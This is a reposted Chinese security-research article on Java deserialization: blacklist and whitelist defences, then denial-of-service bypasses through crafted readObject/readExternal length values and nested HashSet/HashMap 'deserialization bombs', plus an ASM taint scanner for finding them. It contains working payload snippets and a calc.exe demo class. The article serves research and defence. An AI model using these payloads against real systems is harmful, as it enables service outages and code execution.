反序列化漏洞的防御与拒绝服务

admin 2022年5月1日14:45:24评论185 views字数 7196阅读23分59秒阅读模式

最近两个月我一直在做拒绝服务漏洞相关的时间,并收获了SpringWeblogic的两个CVE(还有一些报告也许正在审核和修复中)但DoS漏洞终归是鸡肋洞,并没有太大的意义,比如之前有人说我只会水垃圾洞而已,所以在以后可能打算做其他方向

早上和pyn3rd师傅聊天,希望写一篇DoS漏洞的分享,于是写了这篇水文,算是拒绝服务漏洞的完结篇

基础篇

编写一个恶意的类

  1. public class EvilObj implements Serializable {
    static {
    try {
    Runtime.getRuntime().exec("calc.exe");
    } catch (IOException ignored) {
    }
    }
    }

编写一个普通的反序列化漏洞代码,执行后会弹出计算器

  1. public static void main(String[] args)throws Exception {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(new EvilObj());

    ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
    ObjectInputStream ois = new ObjectInputStream(bais);
    ois.readObject();
    }

以上的恶意类其实没有意义,因为目标系统中不会存在这样的恶意类,只有目标程序中存在该类才可以

于是大家开始挖掘gadget以构造恶意类用来执行代码或命令

当我将gadget替换为CC6链后,只要目标系统包含了Commons Collections依赖则可以RCE

  1. oos.writeObject(CC6Gadget.get());

黑名单修复

假设作为开发者,这时候的修复手法有两种

  • 关闭反序列化功能

  • 由于业务原因不能关闭反序列化漏洞

于是很多项目采用了黑名单的方式进行修复

  1. public class SafeObjectInputStream extends ObjectInputStream {
    public SafeObjectInputStream(InputStream in) throws IOException {
    super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    if (desc.getName().contains("org.apache.commons.collections")) {
    return null;
    }
    return super.resolveClass(desc);
    }
    }

这时候修改我们的漏洞代码

  1. ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(CC6Gadget.get());

    ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
    SafeObjectInputStream ois = new SafeObjectInputStream(bais);
    ois.readObject();

运行后报错:说明成功防御了Commons Collections的反序列化漏洞

  1. Exception in thread "main" java.lang.ClassNotFoundException: null class

类似的黑名单参考:Apache OFBIZ

commit: https://github.com/apache/ofbiz-framework/commit/af9ed4e/

  1. if (className.contains("java.rmi.server")) {
    return null;
    }

白名单修复

在安全中,黑名单永远都是不安全的,因为总会有新的姿势和新的绕过,因此我们采用了白名单的方式进行修复

  • 允许来自于java.langjava.util的对象

  • 允许来自于本地某个特定的类

  1. public class SafeObjectInputStream extends ObjectInputStream {
    public SafeObjectInputStream(InputStream in) throws IOException {
    super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
    // 允许一些常用的JDK类
    if (desc.getName().startsWith("java.util.") || desc.getName().startsWith("java.lang.") ||
    // 允许一些业务需要的本地类
    desc.getName().equals("com.example.MyObject")) {
    return super.resolveClass(desc);
    } else {
    return null;
    }
    }
    }

参考Spring-AMQP曾经防御反序列化漏洞的方式:添加类似的白名单

参考commit: https://github.com/spring-projects/spring-amqp/commit/36e5599/

  1. static {
    SERIALIZER_MESSAGE_CONVERTER.setWhiteListPatterns(Arrays.asList("java.util.*", "java.lang.*"));
    }

readObject

当我们使用了这样白名单后,确实不存在RCE漏洞

但实际上存在拒绝服务漏洞的可能性

首先从本地白名单对象入手

  1. public class MyObject implements Serializable {
    private void readObject(ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    int len = s.readInt();
    // array init
    byte[] data = new byte[len];
    // for condition
    for (int i = 0; i < len; i++) {
    // ...
    }
    // ...
    }
    }

假设本地白名单类的readObject方法中包含了类似以上的代码,构造出以下这样的Payload即可DoS

  1. ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(new MyObject());
    oos.flush();
    oos.writeInt(1024*1024*1024);
    oos.flush();

readExternal

Serializable序列化时不会调用默认的构造器而Externalizable序列化时会调用默认构造器

有时我们不希望序列化那么多,可以使用Externalizable接口

其中writeExternalreadExternal方法可以指定序列化哪些属性

假设某个白名单类包含了类似下方的代码,则存在拒绝服务漏洞

  1. public class MyObject implements Externalizable {
    public int a;

    // 必须存在空参构造
    public MyObject() {
    }

    public MyObject(int a) {
    this.a = a;
    }

    @Override
    public void writeExternal(ObjectOutput out) throws IOException {
    out.writeInt(a);
    // ...
    }

    @Override
    public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
    int length = in.readInt();
    // array init
    byte[] data = new byte[length];
    // for condition
    for (int i = 0; i < length; i++) {
    // ...
    }
    // ...
    }
    }

构造恶意对象Payload触发

  1. public static void main(String[] args) throws Exception {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(baos);
    oos.writeObject(new MyObject(1024 * 1024 * 1024));

    ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
    SafeObjectInputStream ois = new SafeObjectInputStream(bais);
    ois.readObject();
    }

反序列化炸弹

最坏的情况:如果白名单本地对象都是安全的,没有拒绝服务的可能性,还有办法吗

可以使用JDK中的反序列化炸弹实现拒绝服务漏洞

出自Effective Java的原版反序列化炸弹(原代码链接)

  1. Set<Object> root = new HashSet<>();
    Set<Object> s1 = root;
    Set<Object> s2 = new HashSet<>();
    for(int i=0;i<100;i++){
    Set<Object> t1 = new HashSet<>();
    Set<Object> t2 = new HashSet<>();
    t1.add("foo");
    s1.add(t1);
    s1.add(t2);
    s2.add(t1);
    s2.add(t2);
    s1=t1;
    s2=t2;
    }

使用HahsMap和也可以做到类似的效果

  1. // Map & HashMap
    Map<Object, Object> root = new HashMap<>();
    Map<Object, Object> s1 = root;
    Map<Object, Object> s2 = new HashMap<>();
    for (int i = 0; i < 50; i++) {
    HashMap<Object, Object> t1 = new HashMap<>();
    HashMap<Object, Object> t2 = new HashMap<>();
    t1.put("foo", "bar");
    s1.put(t1, t1);
    s1.put(t2, t2);
    s2.put(t1, t1);
    s2.put(t2, t2);
    s1 = t1;
    s2 = t2;
    }

反序列化炸弹会得到类似的数据结构,是一个100层深的图(Graph)结构

反序列化漏洞的防御与拒绝服务


由于本文重点不在于反序列化炸弹,所以原理不再对原理进行分析,有兴趣可以搜索得到一些结果

关于反序列化炸弹的修复:JEP290

提交给Apache OFBIZ后认为这只是潜在的漏洞,不能直接触发,修复后给予致谢但无CVE

反序列化漏洞的防御与拒绝服务


漏洞挖掘思路

有了以上的内容,对于如何挖掘这样的漏洞,应该有一些思路了

  • 某框架曾经出现过反序列化漏洞

  • 某框架如果采用了黑白名单的方案修复(某logic等)

  • 确定白名单中是否包含了java.util等类,如果包含则存在反序列化炸弹(某logic的CVE-2022-21441)

  • 扫描所有白名单中的类,是否包含readObject方法,审计其中是否有类似上文的代码

  • 类似上一条,扫描白名单类readExternal方法(某logic的CVE-2021-2344和CVE-2021-2371等等)

如何扫描

扫描主要是如何确认readExternal方法里存在数据初始化

例如扫某logic这样非开源的项目,难免要用到字节码相关的技术

大概的扫描逻辑如下

  • 自动批量解压JAR

  • 扫描所有的class文件(测试了上百万个)

  • 目标是所有类的所有方法

  • 如果方法中的字节码匹配到某种规则,且方法名是readObjectreadExternal则说明成功

这里提到的某种规则,在之前一篇文章中有详细说明

跟着三梦学Java安全:半自动挖洞(https://xz.aliyun.com/t/10925)

这两种数组初始化的字节码是不同的

  1. int size = 10;
    byte[] a = new byte[size];
    Object[] o = new Object[size];

对应字节码如下,可以看到分别使用NEWARRAYANEWARRAY指令

  1. BIPUSH 10
    ISTORE 1
    ...
    ILOAD 1
    NEWARRAY T_BYTE
    ...
    ILOAD 1
    ANEWARRAY java/lang/Object

在分析时需要注意

  • visitCode方法中对每个参数设置污染

  • visitMethodInsn方法中处理污染的传递

在分析进入方法时,首先调用到visitCode方法,在这里手动给参数上污点

  1. @Override
    public void visitCode() {
    super.visitCode();
    int localIndex = 0;
    if ((this.access & Opcodes.ACC_STATIC) == 0) {
    localVariables.set(localIndex, "source");
    localIndex += 1;
    }
    for (Type argType : Type.getArgumentTypes(desc)) {
    localVariables.set(localIndex, "source");
    localIndex += argType.getSize();
    }
    }

处理污点的传递(如果a是污染那么b=a.func()中的b也将是污染)

  1. @Override
    public void visitMethodInsn(int opcode, String owner, String name, String desc, boolean itf) {
    Type[] argTypes = Type.getArgumentTypes(desc);
    if (opcode != Opcodes.INVOKESTATIC) {
    Type[] extendedArgTypes = new Type[argTypes.length + 1];
    System.arraycopy(argTypes, 0, extendedArgTypes, 1, argTypes.length);
    extendedArgTypes[0] = Type.getObjectType(owner);
    argTypes = extendedArgTypes;
    }
    for (int i = 0; i < argTypes.length; i++) {
    if (operandStack.get(i).contains("source")) {
    Type returnType = Type.getReturnType(desc);
    if (returnType.getSort() != Type.VOID) {
    super.visitMethodInsn(opcode, owner, name, desc, itf);
    operandStack.set(0, "source");
    return;
    }
    }
    }
    super.visitMethodInsn(opcode, owner, name, desc, itf);
    }

上面这一串代码的作用是能够处理这样的情况

  1. @Override
    public void readExternal(ObjectInput in) throws IOException, ClassNotFoundException {
    // in参数是污点
    // 可以传递到length参数
    int length = in.readInt();
    // 这里遇到NEWARRAY指令
    // 如果length是污点则说明匹配到
    byte[] data = new byte[length];
    }

最终在NEWARRAY指令的操作数中判断污点(ANEWARRAY指令类似)

  1. @Override
    public void visitIntInsn(int opcode, int operand) {
    if (opcode == Opcodes.NEWARRAY) {
    if (operandStack.get(0).contains("source")) {
    if (this.name.equals("readExternal") || this.name.equals("readObject")) {
    // 发现漏洞,进行记录
    }
    }
    }
    super.visitIntInsn(opcode, operand);
    }


来源:先知(https://xz.aliyun.com/t/11288)

注:如有侵权请联系删除

反序列化漏洞的防御与拒绝服务


船山院士网络安全团队长期招募学员,零基础上课,终生学习,知识更新,学习不停!包就业,护网,实习,加入团队,外包项目等机会,月薪10K起步,互相信任是前提,一起努力是必须,成就高薪是目标!相信我们的努力你可以看到!想学习的学员,加下面小浪队长的微信咨询!


反序列化漏洞的防御与拒绝服务

欢迎大家加群一起讨论学习和交流
(此群已满200人,需要添加群主邀请)

反序列化漏洞的防御与拒绝服务

阳光正好,奋力奔跑;

拼搏当下,未来可期!

原文始发于微信公众号(衡阳信安):反序列化漏洞的防御与拒绝服务

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月1日14:45:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   反序列化漏洞的防御与拒绝服务https://cn-sec.com/archives/965279.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息